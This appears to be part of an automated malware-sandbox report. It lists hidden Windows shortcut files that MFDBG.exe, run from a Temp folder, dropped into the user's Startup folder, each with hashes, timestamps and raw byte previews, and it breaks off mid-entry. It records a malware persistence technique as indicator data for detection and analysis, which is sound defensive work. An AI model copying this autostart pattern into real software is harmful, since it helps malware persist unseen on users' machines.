Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...w...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_37b30dc543d9462093b006fc6e9c7215.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940085712394052
Encrypted:	false
SSDEEP:	24:8+mhBfX8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+sU0R6rMhpBoUBxdRd1nYyg
MD5:	8BC03B3C55CD1421A0968CDFB7E1ED3C
SHA1:	6EECDCE369A7E46AE074795C769CB2C57021692A
SHA-256:	3FCBACF42242602ED75279CDE4276F9C0E90B1CAFEC8B56D5695E62E4900C928
SHA-512:	BAEF5546FAB906FDBF688A8368DA22FD9564080AAB37B8822E61315FA258651DAF7628341323591A57BE473CB5462B1A639DC0B430E7F914531BFBBBF31A5A25
Malicious:	false
Preview:	L..................F...."...]W%.{.....n.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....n.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_380c78f2344f48e9b8463d79de504191.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9325173507501905
Encrypted:	false
SSDEEP:	24:8c6GhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8vMv0R6rMhpBoUBxdRd1nYyg
MD5:	569B38C9778FBAE7F56E272B050C9B1F
SHA1:	A6B7E0DE6390E59B5C6C8FADF91D0DF172347F09
SHA-256:	D00FCF13BBE5B141C96CCDBBEE4E9CE1BDF73B91AE6029F157AFD14AA2498AEA
SHA-512:	D39AE3A1BA99F44CBD40AE8B53A45AB6C99AE0608217DBD12ECEF56D36D760BCCB00F41F6E8184BD4AD3CF05C37695B8868FCEC2972F6402A5D234360A5E5B34
Malicious:	false
Preview:	L..................F...."...]W%.{....rG.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_38c1e60d73c04c889cc28bac4c26a3f6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937263449382715
Encrypted:	false
SSDEEP:	24:8OhBfeh8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8E/0R6rMhpBoUBxdRd1nYyg
MD5:	A86B7E2BB3A15183248AF6963C0688DB
SHA1:	F79081332800B36422F0FBFAD532E2D81DB44335
SHA-256:	307B34EBD47A6E4CE7DB519E6C860D7A00440E852A1D0234B85E18D54951F76A
SHA-512:	6128786FCF3F3B84CF1240936613AA566DC6799D830C91CB1A47D06C6F8DC30E74327D2915039ED06D961D9B01EBA365ADDFFEAEE5E5369C6889280A61BE3726
Malicious:	false
Preview:	L..................F...."...]W%.{...R..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....7..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3949435efa8447f6907184877bbcc4cd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940173699592387
Encrypted:	false
SSDEEP:	24:8o2hBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8nr0R6rMhpBoUBxdRd1nYyg
MD5:	5D6FF334978A37493EC182961FC7B263
SHA1:	06AD7B26D1A6208C31B9E9689C35CFA14DD95EA5
SHA-256:	EAFD65ADF0F3179676871CC5C65F43B5927D353FA42573646B86F6C7B0F91878
SHA-512:	DAC6920E5FFB913A3EE48DCCC25EB0E150EB0C8D4E317995FF2C6A818BB30FB7427BC038B9F8EBCA246466675323392CBA02CCCA36C61E4A79A1E27E70CBE8B6
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....P..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3958687753084f999d10cc575d007862.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933775802496438
Encrypted:	false
SSDEEP:	24:8SWhBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8S8C0R6rMhpBoUBxdRd1nYyg
MD5:	3D459285DFDCCE7A2CF2D607A12E75A0
SHA1:	A012D02606ADD28B35450154ED075181449C868F
SHA-256:	4AFF2BFDC607A943BE01CB2071EBDA12AE72966EC49CEB19E1867D774A9A3219
SHA-512:	DBB940D7B547F61E05DB034A8F133D40CBDB7EAFB336F525E4F3A3B5E237828777099C5D71A25C35749106BD4A1352AAAA97A3499330F8E5F73884F56FC90918
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..._.\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3958be6d1bd94e3db899fca540a1d80a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937715707164189
Encrypted:	false
SSDEEP:	24:85hBfG48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Za0R6rMhpBoUBxdRd1nYyg
MD5:	F34A5C1AA27A51B4485AF9B51E7EA5D8
SHA1:	78211AFB81457C7A058912BF341E7F73142A3D45
SHA-256:	8045468B89F1A41479979081B23DD75BECD61A49B1E04743C3D4C077EB00EB48
SHA-512:	07E1FDF1542717CC5574C7890209EA0FDA525A7E99994A4FB570A6677FEC19DAB3CDB8CA3FC7BBB288ED82BF623282FD1E550F4244F84C78CEA30B1B3DD3E528
Malicious:	false
Preview:	L..................F...."...]W%.{....,z.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...2.\|.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3982af06f4734532bbf2d57145fe810a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942154458887913
Encrypted:	false
SSDEEP:	24:8HhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8b+0R6rMhpBoUBxdRd1nYyg
MD5:	C012C926A4A7C25A94590EF4B0E89837
SHA1:	3B3B1CC68739465507D14764BF7E7039EC0F9C30
SHA-256:	43181DA05D12870AD5421FD0CEE59AA07AB5D044D36F52EA24AE344AFF3180C5
SHA-512:	0EA8408C9A5957FAF15D4BD6CC65D5C35BCEFCE0555455D81C33F5D932D6E584F4F88DBAA297198EF227E4B5F5460E02369EF165B110C568C41235EB70FD6D0F
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3aa3615318234782ad072ebb02a7461d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941182727810647
Encrypted:	false
SSDEEP:	24:8BhBfJe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xF0R6rMhpBoUBxdRd1nYyg
MD5:	83FDBD4DCB13A153531E67EE433F950D
SHA1:	91590F092045A330DD617720E4AADCE11FDB77F4
SHA-256:	C33A54263E8B1F147F4A62C0F6705D58CE84449EE428E07FEB702913BF877050
SHA-512:	79AD14441F88AED283CCF206050C642A4AB25E2F14F96B32E2F19D8B6D857F725DBDB9F4C696354FA019E345075D56723314CC45CE84AC17B65AEF07C5D19A56
Malicious:	false
Preview:	L..................F...."...]W%.{.....k.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....].\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3af0013796414331afed6559190da506.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:08 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935376480704232
Encrypted:	false
SSDEEP:	24:8KehBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ve0R6rMhpBoUBxdRd1nYyg
MD5:	76E96870868857BFC39A4EB13F5028B0
SHA1:	98B8D6AEA3B80C592993F2E3BFFF1344610E63DE
SHA-256:	87BAF82B9681DCDF7FEC203D6D9246DF75A28D4CB3C9DF8FB898F32B60615E56
SHA-512:	14F977C81424766EDB3E6BD10A3ADEF542D108ECDC9AEF1D5B5E948E821FE1A38296C9F3504B7C1D54499BAE19FD4397761D33645BC657AAA6710572D243D639
Malicious:	false
Preview:	L..................F...."...]W%.{....^A.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3bdcab68685b4192bec69ea8634e429c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932034459643017
Encrypted:	false
SSDEEP:	24:8Lb9hBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Lplc0R6rMhpBoUBxdRd1nYyg
MD5:	75A7ADCE63143750EB96E1166575FAD7
SHA1:	15FA2DFA3DEC74F341CDFF4B35512F0A79F2C30D
SHA-256:	1CF8988BCAD21D416A048B4CA0CE364034AAB69C7218ED23F0932D7835863F88
SHA-512:	7915890AE2A6771F13DDED31BBF71F9AF27D30C94D6B0A83A094B1D767EB41EDFD2644973A3E13832A677DF3733A32EF1B1E41BCAC0EAE612C7E609573B12DE1
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3c42eb6e0c204de7991da7f9e677f71f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94238807191131
Encrypted:	false
SSDEEP:	24:8bFXmhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bFXs60R6rMhpBoUBxdRd1nYyg
MD5:	3D17A03A8EE4F4FE0753F66C0E285780
SHA1:	499928C3AC1185FA241EDC9AB615E1F5ACB91F9D
SHA-256:	C1FA0637DC630496B00399D18B50964485103E1B5DFA504AF3106859D870F52C
SHA-512:	838D92682E695A318A5E099CDE449767335FE2288FB67FB293371F1725539714A0A0925FAA58F2A607888F8B8600E824103D9F007BF286CEF6DBBC17ACE0D3F5
Malicious:	false
Preview:	L..................F...."...]W%.{...4...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3c6df182813c4aa6a86aaea14920b935.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939952207047766
Encrypted:	false
SSDEEP:	24:8aPhBfD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wI0R6rMhpBoUBxdRd1nYyg
MD5:	4DFB51B18C139E583DE47E16B80E7817
SHA1:	9E01EB926B0EE72B1F8F71401A6E8A0324A6D7FE
SHA-256:	AAFA85CAF18B2D374371EA229C8D052F240467C9FE8483D58F84DD95C0D71C2D
SHA-512:	AD12E571B46ECDF6A8099129C9330A3A856EAC21738240A86271D82AF1BAF76A1B5DC907BEE12D4526CF6D1DE41A420D3BBCD6BC1BB6480292BFF939956DC1BA
Malicious:	false
Preview:	L..................F...."...]W%.{...;..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3d0b14cb94334d20ab00e0ae92071943.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943794421626655
Encrypted:	false
SSDEEP:	24:8o8hBf/8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85M0R6rMhpBoUBxdRd1nYyg
MD5:	4061DB5E1B3393925838B57DE1432277
SHA1:	B71E4F959421CA428F821558678EF0CEAAD745C1
SHA-256:	3AE0E0875FBE6345D684E1731AD48718308F7D29C61E88BEA487A2B73BF03735
SHA-512:	2ECB948826239FF82CC1A5D580C21A8A8E74856027FD9746C9FEBFD1CDAE4EFE24E712EE431C1E4CC2F63494FEE29E525687CF4449BD09394A165121B0AAF0D3
Malicious:	false
